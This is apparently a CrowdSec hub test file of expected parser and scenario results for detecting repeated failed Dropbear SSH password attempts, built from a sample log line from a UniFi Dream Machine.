"dropbear-ssh-bf.log" results["s00-raw"]["crowdsecurity/unifi-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Success == true results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Parsed["pid"] == "10215" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Parsed["program"] == "dropbear" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/unifi-logs"][1].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s00-raw"]["crowdsecurity/unifi-logs"][2].Success == true results["s00-raw"]["crowdsecurity/unifi-logs"][2].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s00-raw"]["crowdsecurity/unifi-logs"][2].Evt.Parsed["pid"] == "10215" results["s00-raw"]["crowdsecurity/unifi-logs"][2].Evt.Parsed["program"] == "dropbear" results["s00-raw"]["crowdsecurity/unifi-logs"][2].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s00-raw"]["crowdsecurity/unifi-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/unifi-logs"][2].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s00-raw"]["crowdsecurity/unifi-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/unifi-logs"][2].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s00-raw"]["crowdsecurity/unifi-logs"][3].Success == true results["s00-raw"]["crowdsecurity/unifi-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/unifi-logs"][3].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s00-raw"]["crowdsecurity/unifi-logs"][3].Evt.Parsed["pid"] == "10215" results["s00-raw"]["crowdsecurity/unifi-logs"][3].Evt.Parsed["program"] == "dropbear" results["s00-raw"]["crowdsecurity/unifi-logs"][3].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s00-raw"]["crowdsecurity/unifi-logs"][3].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s00-raw"]["crowdsecurity/unifi-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/unifi-logs"][3].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s00-raw"]["crowdsecurity/unifi-logs"][4].Success == true results["s00-raw"]["crowdsecurity/unifi-logs"][4].Evt.Parsed["program"] == "dropbear" results["s00-raw"]["crowdsecurity/unifi-logs"][4].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s00-raw"]["crowdsecurity/unifi-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/unifi-logs"][4].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s00-raw"]["crowdsecurity/unifi-logs"][4].Evt.Parsed["pid"] == "10215" results["s00-raw"]["crowdsecurity/unifi-logs"][4].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s00-raw"]["crowdsecurity/unifi-logs"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/unifi-logs"][4].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s00-raw"]["crowdsecurity/unifi-logs"][5].Success == true results["s00-raw"]["crowdsecurity/unifi-logs"][5].Evt.Parsed["program"] == "dropbear" results["s00-raw"]["crowdsecurity/unifi-logs"][5].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s00-raw"]["crowdsecurity/unifi-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/unifi-logs"][5].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s00-raw"]["crowdsecurity/unifi-logs"][5].Evt.Parsed["pid"] == "10215" results["s00-raw"]["crowdsecurity/unifi-logs"][5].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s00-raw"]["crowdsecurity/unifi-logs"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/unifi-logs"][5].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" len(results["s01-parse"]["crowdsecurity/dropbear-logs"]) == 6 results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Success == true results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Parsed["pid"] == "10215" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Parsed["program"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Parsed["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Parsed["user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Parsed["port"] == "49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Meta["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Meta["target_user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s01-parse"]["crowdsecurity/dropbear-logs"][0].Evt.Meta["service"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Success == true results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["program"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["pid"] == "10215" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["port"] == "49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["service"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["target_user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s01-parse"]["crowdsecurity/dropbear-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Success == true results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Parsed["pid"] == "10215" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Parsed["program"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Parsed["user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Parsed["port"] == "49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Parsed["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Meta["service"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Meta["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][2].Evt.Meta["target_user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Success == true results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Parsed["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Parsed["pid"] == "10215" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Parsed["port"] == "49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Parsed["program"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Parsed["user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Meta["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Meta["target_user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s01-parse"]["crowdsecurity/dropbear-logs"][3].Evt.Meta["service"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Success == true results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Parsed["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Parsed["pid"] == "10215" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Parsed["port"] == "49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Parsed["program"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Parsed["user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Meta["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Meta["target_user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s01-parse"]["crowdsecurity/dropbear-logs"][4].Evt.Meta["service"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Success == true results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Parsed["user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Parsed["pid"] == "10215" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Parsed["port"] == "49242" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Parsed["program"] == "dropbear" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Parsed["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Meta["source_ip"] == "192.168.9.163" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Meta["target_user"] == "foobar" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s01-parse"]["crowdsecurity/dropbear-logs"][5].Evt.Meta["service"] == "dropbear" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 6 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["user"] == "foobar" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["pid"] == "10215" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["port"] == "49242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_user"] == "foobar" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"][4:] == "-05-24T12:57:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"][4:] == "-05-24T12:57:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["user"] == "foobar" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["pid"] == "10215" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["port"] == "49242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["target_user"] == "foobar" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"][4:] == "-05-24T12:57:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"][4:] == "-05-24T12:57:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["port"] == "49242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["user"] == "foobar" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["pid"] == "10215" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["target_user"] == "foobar" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"][4:] == "-05-24T12:57:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"][4:] == "-05-24T12:57:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["pid"] == "10215" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["port"] == "49242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["user"] == "foobar" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["target_user"] == "foobar" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"][4:] == "-05-24T12:57:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"][4:] == "-05-24T12:57:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["user"] == "foobar" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["pid"] == "10215" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["port"] == "49242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["target_user"] == "foobar" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"][4:] == "-05-24T12:57:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"][4:] == "-05-24T12:57:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["port"] == "49242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["timestamp"] == "May 24 12:57:48" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["user"] == "foobar" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "Bad PAM password attempt for 'foobar' from 192.168.9.163:49242" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["pid"] == "10215" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["target_user"] == "foobar" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"][4:] == "-05-24T12:57:48Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "dropbear-ssh-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["machine"] == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "dropbear" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "192.168.9.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"][4:] == "-05-24T12:57:48Z" hub1/.tests/dropbear-ssh-bf/scenario.assert000066400000000000000000000103031437532772500211550ustar00rootroot00000000000000len(results) == 1 "192.168.9.163" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.9.163"].IP == "192.168.9.163" results[0].Overflow.Sources["192.168.9.163"].Range == "" results[0].Overflow.Sources["192.168.9.163"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.9.163"].GetValue() == "192.168.9.163" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "dropbear-ssh-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results[0].Overflow.Alert.Events[0].GetMeta("service") == "dropbear" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.9.163" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "foobar" results[0].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-05-24T12:57:48Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "dropbear-ssh-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[1].GetMeta("machine") == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results[0].Overflow.Alert.Events[1].GetMeta("service") == "dropbear" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "192.168.9.163" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "foobar" results[0].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-05-24T12:57:48Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "dropbear-ssh-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[2].GetMeta("machine") == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results[0].Overflow.Alert.Events[2].GetMeta("service") == "dropbear" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "192.168.9.163" results[0].Overflow.Alert.Events[2].GetMeta("target_user") == "foobar" results[0].Overflow.Alert.Events[2].GetMeta("timestamp")[4:] == "-05-24T12:57:48Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "dropbear-ssh-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[3].GetMeta("machine") == "UDMPRO,a2edd0c6ae48,udm-1.10.0.3686" results[0].Overflow.Alert.Events[3].GetMeta("service") == "dropbear" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "192.168.9.163" 